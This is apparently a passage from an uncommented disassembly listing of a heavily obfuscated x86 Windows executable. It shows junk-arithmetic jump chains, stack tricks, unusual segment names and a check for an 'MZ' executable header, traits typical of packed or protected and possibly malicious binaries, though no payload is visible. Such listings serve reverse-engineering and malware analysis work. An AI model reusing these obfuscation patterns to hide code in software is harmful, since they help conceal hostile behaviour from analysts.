loc_43AB3D:				; CODE XREF: sub_43B48A+Dj
		jmp	loc_449195
; END OF FUNCTION CHUNK	FOR sub_43B48A

; =============== S U B	R O U T	I N E =======================================



sub_43AB42	proc near		; CODE XREF: sub_43E816p
					; sub_43C710:loc_445073j ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 004442E4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00445FBC SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00451B5B SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00458511 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0045869C SIZE 0000001F BYTES

		jnb	loc_451B5B
		pop	edx
		mov	eax, [esp-4+arg_0]
		push	ebx
		mov	ebx, edx
		push	offset loc_442A39
		jmp	loc_458511
sub_43AB42	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		cdq
		jg	loc_4482BF
		jmp	sub_446B61
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_112. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_455696

loc_43AB66:				; CODE XREF: sub_455696-7922j
		jmp	sub_44FD8E
; END OF FUNCTION CHUNK	FOR sub_455696

; =============== S U B	R O U T	I N E =======================================



sub_43AB6B	proc near		; CODE XREF: dviuq5id:00450C17j
					; dviuq5id:00454FCFp
		xchg	esi, [esp+0]
		pop	esi
		mov	eax, [ebx]
		neg	eax
		cmp	ax, 0A5B3h
		jnz	loc_446A25
		retn
sub_43AB6B	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_459385

loc_43AB7E:				; CODE XREF: sub_459385-1C165j
		pop	edx

loc_43AB7F:				; CODE XREF: sub_459385:loc_43D214j
		sub	ecx, 444E990Ch
		and	ecx, 0CA47B887h

loc_43AB8B:				; CODE XREF: sub_4525D0:loc_45A0F3j
		add	ecx, 763FD0E3h
		jmp	loc_4588C0
; END OF FUNCTION CHUNK	FOR sub_459385
; ---------------------------------------------------------------------------

loc_43AB96:				; CODE XREF: dviuq5id:0043CAF5j
		jg	loc_44E6E3
		xor	esi, 0F79C4530h
		xchg	edi, ebx
; START	OF FUNCTION CHUNK FOR sub_43FA59

loc_43ABA4:				; CODE XREF: sub_43FA59+227j
					; sub_443F7F:loc_44C6C6j
		sub	eax, 0B8926280h
		cmp	eax, 1BF1E967h
		jmp	loc_43E75D
; END OF FUNCTION CHUNK	FOR sub_43FA59
; ---------------------------------------------------------------------------
		db 13h,	0FEh, 81h
; ---------------------------------------------------------------------------
		ficomp	dword ptr [esi-4Dh]
		pslld	mm1, qword ptr [edi]
		mov	cl, bl
		test	byte ptr [eax],	0
		jmp	loc_44FC10
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449222

loc_43ABC8:				; CODE XREF: sub_449222-BD13j
					; sub_449222+884Bj
		sub	edi, 8A0A82D0h
		add	edi, 4234010h
		popf
		add	eax, edi
		pop	edi
		ror	eax, 1Ah
		push	esi
		push	0A3EED66h
		jmp	loc_44DDDF
; END OF FUNCTION CHUNK	FOR sub_449222
; ---------------------------------------------------------------------------

loc_43ABE6:				; CODE XREF: dviuq5id:004534D8j
		popf
		add	ecx, edi
		xor	ebx, edx
		cmp	edx, edi
		jmp	loc_445673
; ---------------------------------------------------------------------------

loc_43ABF2:				; CODE XREF: dviuq5id:loc_45122Bj
		or	ecx, 2475325Eh
		rol	ecx, 15h
		add	ecx, 0A474ED13h
		xchg	ecx, [esp]
; START	OF FUNCTION CHUNK FOR sub_43AF9D

loc_43AC04:				; CODE XREF: sub_43AF9D:loc_43CE45j
		jmp	loc_457384
; END OF FUNCTION CHUNK	FOR sub_43AF9D
; ---------------------------------------------------------------------------
		mov	eax, 3FFC3041h
		call	sub_453642
		jmp	loc_454A55
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4509F7

loc_43AC18:				; CODE XREF: sub_4509F7-795Bj
		xor	edx, 0D02015D6h
		sub	edx, 70C0F5C8h
		or	edx, 23069FBAh
		sub	edx, 0F0870692h
		add	edx, 0F55BF25Ah
		jmp	loc_446B13
; END OF FUNCTION CHUNK	FOR sub_4509F7
; ---------------------------------------------------------------------------

loc_43AC3B:				; CODE XREF: dviuq5id:0043E5D3j
		jz	loc_44C470
		jmp	loc_43A3A4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448424

loc_43AC46:				; CODE XREF: sub_448424+179Cj
		push	0B9DFE7B0h
		jmp	loc_4551F8
; END OF FUNCTION CHUNK	FOR sub_448424
; ---------------------------------------------------------------------------

loc_43AC50:				; CODE XREF: dviuq5id:0044630Fj
		pop	eax
		rol	eax, 0Eh
		xor	eax, 0F363F4C4h
		and	eax, 0F0784296h
		jmp	loc_4401DB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_457B2A

loc_43AC65:				; CODE XREF: dviuq5id:0044E7C7j
					; sub_457B2A-7323j
		xor	edx, 0D3A8B41Ch
		add	edx, 0BED73037h
		add	edx, ebp
		add	edx, 4C5429B7h
		mov	edx, [edx]
		shr	edx, 3
		push	offset loc_419772
		jmp	loc_43B65B
; END OF FUNCTION CHUNK	FOR sub_457B2A
; ---------------------------------------------------------------------------
		mov	eax, [esp]
		push	ecx
		call	sub_43F407
; START	OF FUNCTION CHUNK FOR sub_44F2F5

loc_43AC91:				; CODE XREF: sub_44F2F5+12j
		jmp	loc_4524C7
; END OF FUNCTION CHUNK	FOR sub_44F2F5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44646F

loc_43AC96:				; CODE XREF: sub_44646F+8B97j
		jmp	loc_452A22
; END OF FUNCTION CHUNK	FOR sub_44646F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454228

loc_43AC9B:				; CODE XREF: sub_454228-EB60j
		sbb	esi, 647E6948h
		and	ebp, edi

loc_43ACA3:				; CODE XREF: sub_454228:loc_444E97j
		lea	edx, [ebp+var_14]
		mov	eax, offset dword_453D1C
		call	sub_45A04B
		push	0F8A8C16Fh
		jmp	loc_459FF3
; END OF FUNCTION CHUNK	FOR sub_454228
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F9BC

loc_43ACBA:				; CODE XREF: sub_43F9BC+13j
		mov	dword ptr [ecx], 10001h
		lea	eax, sub_44A3E1
		mov	[ecx+0B8h], eax
		push	offset loc_450759
		jmp	loc_4546FA
; END OF FUNCTION CHUNK	FOR sub_43F9BC

; =============== S U B	R O U T	I N E =======================================



sub_43ACD6	proc near		; DATA XREF: sub_440A7F+B22Eo
		cmp	byte ptr [eax],	0
		push	offset sub_452470
		jmp	nullsub_76
sub_43ACD6	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43938B

loc_43ACE3:				; CODE XREF: sub_43938B+166E1j
		jp	loc_446BA2

loc_43ACE9:				; CODE XREF: sub_43BD2F:loc_4511EAj
		mov	byte ptr [ebp-806h], 0
		mov	byte ptr [ebp-805h], 0
		mov	byte ptr [ebp-804h], 0
		mov	byte ptr [ebp-803h], 0
		mov	byte ptr [ebp-802h], 0
		jmp	loc_44F731
; END OF FUNCTION CHUNK	FOR sub_43938B

; =============== S U B	R O U T	I N E =======================================



sub_43AD11	proc near		; DATA XREF: dviuq5id:loc_445669o
		xchg	edx, [esp+0]
		jmp	sub_449EB7
sub_43AD11	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A90D

loc_43AD19:				; CODE XREF: sub_44A90D-5F3Fj
		pop	esi
		jmp	loc_44A1CC
; END OF FUNCTION CHUNK	FOR sub_44A90D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_459385

loc_43AD1F:				; CODE XREF: sub_459385-C7B9j
		rol	edi, 0Bh
		sbb	ecx, ebx
		or	esi, 0AE932A41h
		sbb	edx, ebx
		jmp	loc_454D69
; END OF FUNCTION CHUNK	FOR sub_459385
; ---------------------------------------------------------------------------
		jbe	loc_4461A6
		jmp	sub_43EA61
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444466

loc_43AD3C:				; CODE XREF: sub_444466:loc_44369Bj
		add	eax, [ebp+var_4]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+var_14]
		mov	eax, [eax+18h]
		call	sub_454873

loc_43AD4D:				; CODE XREF: dviuq5id:00458043j
		jmp	loc_445720
; END OF FUNCTION CHUNK	FOR sub_444466
; ---------------------------------------------------------------------------

loc_43AD52:				; CODE XREF: dviuq5id:00450B86j
		jmp	loc_453207
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_458A47

loc_43AD57:				; CODE XREF: sub_458A47-1D575j
		jmp	nullsub_12
; END OF FUNCTION CHUNK	FOR sub_458A47
; ---------------------------------------------------------------------------

loc_43AD5C:				; CODE XREF: dviuq5id:004584B5j
		xchg	ecx, [esp]
		mov	edx, ecx
		pop	ecx
		sub	edx, 0C5BCA7B9h
		or	edx, 0D3BE0A50h
		xor	edx, 0F29293F0h
		add	edx, 0F6D7A10Fh
		popf
		jmp	loc_445FFF
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_271. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448154

loc_43AD81:				; CODE XREF: sub_448154:loc_4563F6j
		jz	loc_4559F3
		jmp	loc_44B696
; END OF FUNCTION CHUNK	FOR sub_448154
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454267

loc_43AD8C:				; CODE XREF: sub_454267:loc_45431Cj
					; sub_454267+C3j
		sub	edi, 8550BD68h
		cmp	edi, 8ACB6853h
		jmp	loc_440D9C
; END OF FUNCTION CHUNK	FOR sub_454267
; ---------------------------------------------------------------------------
		jmp	ds:off_41D1E8
; ---------------------------------------------------------------------------

loc_43ADA3:				; CODE XREF: dviuq5id:00450ADAj
		jmp	locret_4551B5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B1C4

loc_43ADA8:				; CODE XREF: sub_43B1C4+19j
		jmp	loc_446A48
; END OF FUNCTION CHUNK	FOR sub_43B1C4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_458964

loc_43ADAD:				; CODE XREF: sub_458964-1217Cj
					; dviuq5id:loc_457A1Cj	...
		pop	edx
		jb	loc_43F846
		mov	eax, [esp-4+arg_0]
		jmp	loc_43F864
; END OF FUNCTION CHUNK	FOR sub_458964
; ---------------------------------------------------------------------------

loc_43ADBC:				; CODE XREF: dviuq5id:loc_44D3B9j
					; dviuq5id:0044D3C2j
		sub	edi, 0C455DB86h
		test	edi, 10h
		jmp	loc_43CCC7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4424D8

loc_43ADCD:				; CODE XREF: sub_4424D8+11j
		jnz	loc_44F66F
		jmp	loc_44B993
; END OF FUNCTION CHUNK	FOR sub_4424D8
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_246. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4525D0

loc_43ADD9:				; CODE XREF: sub_4525D0-141C8j
		jmp	loc_458674
; END OF FUNCTION CHUNK	FOR sub_4525D0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B2EA

loc_43ADDE:				; CODE XREF: sub_44B2EA:loc_44DEF4j
		jge	loc_43D485
; END OF FUNCTION CHUNK	FOR sub_44B2EA
; START	OF FUNCTION CHUNK FOR sub_44CBA2

loc_43ADE4:				; CODE XREF: sub_44CBA2+4DE8j
		jmp	loc_44BD6E
; END OF FUNCTION CHUNK	FOR sub_44CBA2
; ---------------------------------------------------------------------------
		sbb	ebp, edx
		jmp	loc_43D479
; ---------------------------------------------------------------------------
		sbb	ebp, 0A0764BB9h
		jmp	loc_439BB0

; =============== S U B	R O U T	I N E =======================================



sub_43ADFB	proc near		; DATA XREF: dviuq5id:00449E9Co

; FUNCTION CHUNK AT 0044576A SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00447947 SIZE 0000000D BYTES

		push	ebx
		push	5AD4FCA5h
		pop	ebx
		sub	ebx, 36B193Eh
		jns	loc_445774
		test	eax, 3ADA77B9h
		jmp	loc_447947
sub_43ADFB	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4408FF

loc_43AE19:				; CODE XREF: sub_4408FF:loc_44D84Aj
		mov	edi, [eax]
		jmp	loc_44BA19
; END OF FUNCTION CHUNK	FOR sub_4408FF
; ---------------------------------------------------------------------------

loc_43AE20:				; CODE XREF: dviuq5id:loc_439B8Dj
		pop	eax
		and	eax, 0D6C834E2h
		xor	eax, 396E6972h
		and	eax, 0F55393ABh
		add	eax, 0DCC8FE34h
		push	ecx
		pushf
		push	697D4CA0h
		jmp	loc_445493
; ---------------------------------------------------------------------------

loc_43AE45:				; CODE XREF: dviuq5id:00453C32j
		popf
; START	OF FUNCTION CHUNK FOR sub_446181

loc_43AE46:				; CODE XREF: sub_446181+BC12j
		xor	eax, 0ABD07C18h
		push	offset loc_442FF7
		jmp	locret_44C17B
; END OF FUNCTION CHUNK	FOR sub_446181
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4442C5

loc_43AE56:				; CODE XREF: sub_4442C5:loc_43D32Aj
		xor	edi, 926C6EEEh
		add	eax, edi
		push	offset sub_44A318
		jmp	loc_442E7D
; END OF FUNCTION CHUNK	FOR sub_4442C5

; =============== S U B	R O U T	I N E =======================================



sub_43AE68	proc near		; CODE XREF: .text:loc_4043FFp
					; DATA XREF: c.7ld2ih:off_41D1A4o

; FUNCTION CHUNK AT 004392A7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00446CC7 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 004476F4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004494D1 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0044BF74 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0044CC79 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0044E64C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00451306 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00451582 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004518DF SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00454AE2 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 004567D1 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 00457D14 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00458E2B SIZE 00000005 BYTES

		jo	loc_44BF83
		mov	eax, ds:dword_439250
		or	eax, eax
		jnz	loc_44654D
		jmp	loc_44E64C
sub_43AE68	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448154

loc_43AE81:				; CODE XREF: sub_448154:loc_43EE18j
		mov	esp, ebp
		pop	ebp
		push	0E72916CCh
		pop	eax
		rol	eax, 0Fh
		jmp	loc_439139
; END OF FUNCTION CHUNK	FOR sub_448154

; =============== S U B	R O U T	I N E =======================================



sub_43AE92	proc near		; CODE XREF: sub_439013+F278p
					; dviuq5id:0044D4F7j

; FUNCTION CHUNK AT 0044EB55 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00456BBE SIZE 00000005 BYTES

		xchg	edx, [esp+0]
		pop	edx
		push	0EBAD74E9h
		pop	edx
		rol	edx, 2
		or	edx, 8273FB4Ch
		jmp	loc_456BBE
sub_43AE92	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_43AEAA	proc near		; CODE XREF: sub_44CBA2-1259Dp
					; dviuq5id:0043CEAEj

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 004393B2 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0043A7D6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043BBA4 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0043D0DC SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0043D284 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043EEA1 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004412F3 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00443877 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00444CF9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004458C2 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0044A5FD SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0044DC36 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0044EB6D SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0044F89D SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00450B39 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00451576 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00453254 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00453B97 SIZE 0000000D BYTES

		xchg	edx, [esp+4+var_4]
		pop	edx
		mov	eax, [ebp-28h]
		mov	byte ptr [eax],	6Ch
		jmp	loc_453254
sub_43AEAA	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

locret_43AEB9:				; CODE XREF: dviuq5id:loc_456794j
		retn
; ---------------------------------------------------------------------------
		align 4
		jmp	loc_43EE29
; ---------------------------------------------------------------------------
		push	0EFA3B13Eh
		pop	edx
		sub	edx, 0C1155A1Ch
		add	edx, 62855DE9h
		cmp	edx, 4160F024h
		jmp	loc_45193C
; ---------------------------------------------------------------------------
		sbb	ecx, eax
		jmp	loc_45831F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E84C

loc_43AEE5:				; CODE XREF: sub_43E84C+8j
		push	ecx
		push	ecx
		mov	ecx, esi
		xchg	ecx, [esp+8+var_8]
		push	0DBDC98D3h
		pop	esi
		rol	esi, 17h

loc_43AEF5:				; CODE XREF: sub_448424+9FD5j
		jmp	loc_4395A1
; END OF FUNCTION CHUNK	FOR sub_43E84C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_459588

loc_43AEFA:				; CODE XREF: sub_459588-1EC9Dj
		xchg	esi, [esp+0]
		mov	edi, esi

loc_43AEFF:				; CODE XREF: sub_4399BB:loc_44D756j
		pop	esi
		mov	eax, [ebp-4]
		mov	al, [eax]
		jb	loc_44993C
		sub	al, 99h
		jmp	loc_452603
; END OF FUNCTION CHUNK	FOR sub_459588
; ---------------------------------------------------------------------------

loc_43AF12:				; CODE XREF: dviuq5id:004570F8j
		jl	loc_43E1F2
; START	OF FUNCTION CHUNK FOR sub_4408ED

loc_43AF18:				; CODE XREF: sub_4408ED+B77Ej
		jmp	sub_43FBEA
; END OF FUNCTION CHUNK	FOR sub_4408ED
; ---------------------------------------------------------------------------
		or	esi, 0DDE6A2E6h
		push	3D7AD1B1h
		add	edi, ecx
		jmp	loc_43E1EC
; ---------------------------------------------------------------------------

loc_43AF2F:				; DATA XREF: sub_43DADC+7o
		mov	eax, [eax]
		add	eax, [ebp-4]
		push	offset loc_45582A
		jmp	loc_452671
; ---------------------------------------------------------------------------

loc_43AF3E:				; CODE XREF: dviuq5id:004438A0j
		push	eax
		pushf
		push	5600E672h
		pop	eax
		or	eax, 85227D4Bh
		sub	eax, 22ED2021h
; START	OF FUNCTION CHUNK FOR sub_444E1A

loc_43AF52:				; CODE XREF: sub_444E1A+CC7Dj
		jmp	loc_44698A
; END OF FUNCTION CHUNK	FOR sub_444E1A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4437F7

loc_43AF57:				; CODE XREF: sub_4437F7+3j
		mov	ebp, edx
		xchg	ebp, [esp+4+var_4]
		push	edx
		push	0BDCBB47Bh
		pop	edx
		jmp	loc_457B47
; END OF FUNCTION CHUNK	FOR sub_4437F7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44FCBC

loc_43AF68:				; CODE XREF: sub_44FCBC:loc_44FCCFj
		jnz	loc_43ED7B
		adc	edx, 3964BB0Fh
		mov	[edx], ebx
		or	ebx, 0EE0A5B22h
		jmp	loc_43ED75
; END OF FUNCTION CHUNK	FOR sub_44FCBC

; =============== S U B	R O U T	I N E =======================================



sub_43AF81	proc near		; CODE XREF: dviuq5id:00445629j
					; sub_44C335+3p

; FUNCTION CHUNK AT 004521E9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00456F4D SIZE 00000011 BYTES

		xchg	edi, [esp+0]
		pop	edi
		push	esi

loc_43AF86:				; CODE XREF: sub_453BE2:loc_43951Aj
		push	0FF803E54h
		pop	esi
		or	esi, 171F8ADCh
		jmp	loc_4521E9
sub_43AF81	endp

; ---------------------------------------------------------------------------

loc_43AF97:				; CODE XREF: dviuq5id:0044263Aj
		sbb	edi, 728AA71Dh

; =============== S U B	R O U T	I N E =======================================



sub_43AF9D	proc near		; CODE XREF: dviuq5id:004402C1p

; FUNCTION CHUNK AT 0043AC04 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043CE45 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0043D685 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00449EA6 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044FA2F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00457384 SIZE 00000005 BYTES

		xchg	edi, [esp+0]
		pop	edi
		inc	dword ptr [ebp-8]
		cmp	dword ptr [ebp-8], 19h
		jnz	loc_4519F7
		jmp	loc_44FA2F
sub_43AF9D	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FA59

loc_43AFB3:				; CODE XREF: sub_43FA59+17D89j
		mov	edx, edi
		xchg	edx, [esp+0]
		push	97273C82h
		pop	edi
		xor	edi, 0CA089424h
		test	edi, 100000h
		jmp	loc_441994
; END OF FUNCTION CHUNK	FOR sub_43FA59
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C4B5

loc_43AFCF:				; CODE XREF: sub_43C4B5+F83j
		jp	loc_445B7C
		pop	esi
		test	ebp, edx
		jmp	loc_44E5E1
; END OF FUNCTION CHUNK	FOR sub_43C4B5
; ---------------------------------------------------------------------------

locret_43AFDD:				; CODE XREF: dviuq5id:loc_45851Dj
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_459983

loc_43AFDE:				; CODE XREF: sub_459983-1B6E1j
		jmp	loc_454002
; END OF FUNCTION CHUNK	FOR sub_459983
; ---------------------------------------------------------------------------
		push	eax
		ror	eax, 10h
		mov	ds:dword_43EE40, eax
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454267

loc_43AFEE:				; CODE XREF: sub_454267+1FC3j
		rol	eax, 10h
		push	eax
		retn
; END OF FUNCTION CHUNK	FOR sub_454267
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E4A4

loc_43AFF3:				; CODE XREF: sub_43E4A4+1650Dj
		jmp	loc_44F08A
; END OF FUNCTION CHUNK	FOR sub_43E4A4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44F9FB

loc_43AFF8:				; CODE XREF: sub_44F9FB-16568j
		jmp	sub_44A58C
; END OF FUNCTION CHUNK	FOR sub_44F9FB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A015

loc_43AFFD:				; CODE XREF: sub_44A015+9j
		pop	eax
		add	eax, 4EDAE03Eh
		xor	eax, 3B6E8827h
		call	sub_44A58C
		sub	eax, 5DD8263Fh
		push	ebx
		push	0FAB38FA1h
		pop	ebx
		jmp	loc_4436B4
; END OF FUNCTION CHUNK	FOR sub_44A015
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B2EA

loc_43B021:				; CODE XREF: dviuq5id:loc_43E1ECj
					; sub_44B2EA-3BBCj
		sbb	edx, ebp

loc_43B023:				; CODE XREF: sub_45148F+1j
		mov	esi, 7C7A74Dh
		jmp	loc_452A61
; END OF FUNCTION CHUNK	FOR sub_44B2EA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439013

loc_43B02D:				; CODE XREF: sub_439013+18589j
		add	eax, [esp+8+var_8]
		adc	edx, [esp+8+var_4]
		jno	loc_450E3C
		call	sub_43CBD5

loc_43B03F:				; CODE XREF: sub_45A310-8343j
		jmp	loc_454077
; END OF FUNCTION CHUNK	FOR sub_439013
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D181

loc_43B044:				; CODE XREF: sub_43D181+145E1j
		cmp	ebp, ecx
		jmp	loc_45770A
; END OF FUNCTION CHUNK	FOR sub_43D181
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_45169D

loc_43B04B:				; CODE XREF: sub_45169D-15EFBj
		add	eax, 0D9748B6Fh
		mov	eax, [eax]
		cmp	word ptr [eax],	5A4Dh
		jnz	loc_43F144
		jmp	loc_44D51C
; END OF FUNCTION CHUNK	FOR sub_45169D
; ---------------------------------------------------------------------------

locret_43B063:				; CODE XREF: dviuq5id:loc_44E87Aj
		retn
; ---------------------------------------------------------------------------
		sbb	edi, 1BB63A0Eh
		jmp	loc_4591AB
; ---------------------------------------------------------------------------

loc_43B06F:				; CODE XREF: dviuq5id:004400CBj
		shl	edx, 5
; START	OF FUNCTION CHUNK FOR sub_443AC1

loc_43B072:				; CODE XREF: sub_443AC1:loc_44D47Aj
		add	edx, 39824E89h
		xor	edx, 6B267BE3h
		add	edx, ebp
		add	edx, 5009387Dh
		jmp	loc_4529BC
; END OF FUNCTION CHUNK	FOR sub_443AC1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441B05

loc_43B08B:				; CODE XREF: sub_441B05:loc_45682Aj
		add	ebx, 0A046004Eh
		xchg	ebx, [esp+4+var_4]
		jmp	loc_44A775
; END OF FUNCTION CHUNK	FOR sub_441B05
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_167. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446544

loc_43B09A:				; CODE XREF: sub_446544-A8CEj
		jmp	loc_439DCB
; END OF FUNCTION CHUNK	FOR sub_446544
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44ABE0

loc_43B09F:				; CODE XREF: sub_44ABE0-A043j
					; dviuq5id:loc_4523DBj	...
		push	797C2328h
		xchg	ebp, [esp+4+var_4]
		mov	ecx, ebp
		pop	ebp
		and	ecx, 0E4E6092Bh
		jmp	loc_458954
; END OF FUNCTION CHUNK	FOR sub_44ABE0
; ---------------------------------------------------------------------------

locret_43B0B5:				; CODE XREF: dviuq5id:004550C4j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B02F

loc_43B0B6:				; CODE XREF: sub_44B02F-829j
		jmp	loc_458DC9
; END OF FUNCTION CHUNK	FOR sub_44B02F
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_517. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_43B0BC:				; CODE XREF: dviuq5id:004463DEj
		jmp	loc_4418DD
; ---------------------------------------------------------------------------
		jl	loc_43C503
		cdq
		jmp	sub_45853A
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_525. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44818A

loc_43B0CE:				; CODE XREF: sub_44818A:loc_43B85Ej
		and	ecx, 9C991876h
		add	ecx, 0A4BAE84Dh
		add	edx, ecx
		pop	ecx
		mov	[edx], eax
		pop	edx
		jmp	loc_43DB8D
; END OF FUNCTION CHUNK	FOR sub_44818A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_452F74

loc_43B0E5:				; CODE XREF: sub_452F74+1j
		mov	ebp, esp
		push	ecx
		mov	esp, ebp
		pop	ebp
		push	0E5CF69F4h
; END OF FUNCTION CHUNK	FOR sub_452F74
; START	OF FUNCTION CHUNK FOR sub_4492F0

loc_43B0F0:				; CODE XREF: sub_4492F0:loc_452B40j
		pop	eax
		jmp	loc_457FC1
; END OF FUNCTION CHUNK	FOR sub_4492F0
; ---------------------------------------------------------------------------
		push	offset sub_43A887
		jmp	loc_448ADD
; ---------------------------------------------------------------------------

loc_43B100:				; CODE XREF: dviuq5id:loc_44B3A2j
		cmp	ebp, 0F408B2E7h
		jmp	loc_444ABA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_453D79

loc_43B10B:				; CODE XREF: sub_453D79:loc_441EC0j
		jz	loc_451743
; END OF FUNCTION CHUNK	FOR sub_453D79
; START	OF FUNCTION CHUNK FOR sub_4404A6

loc_43B111:				; CODE XREF: sub_4404A6+12ADAj
		jmp	loc_4538F6
; END OF FUNCTION CHUNK	FOR sub_4404A6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4509F7

loc_43B116:				; CODE XREF: sub_4509F7-6A06j
		jmp	loc_44541B
; END OF FUNCTION CHUNK	FOR sub_4509F7
; ---------------------------------------------------------------------------
		test	edx, esi
		jmp	loc_445E8C
; ---------------------------------------------------------------------------
		jg	loc_44D6B1
		jmp	sub_454094
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_452019

loc_43B12D:				; CODE XREF: sub_452019-27EDj
		pop	edx
		mov	[ecx], eax
		push	offset sub_45817E
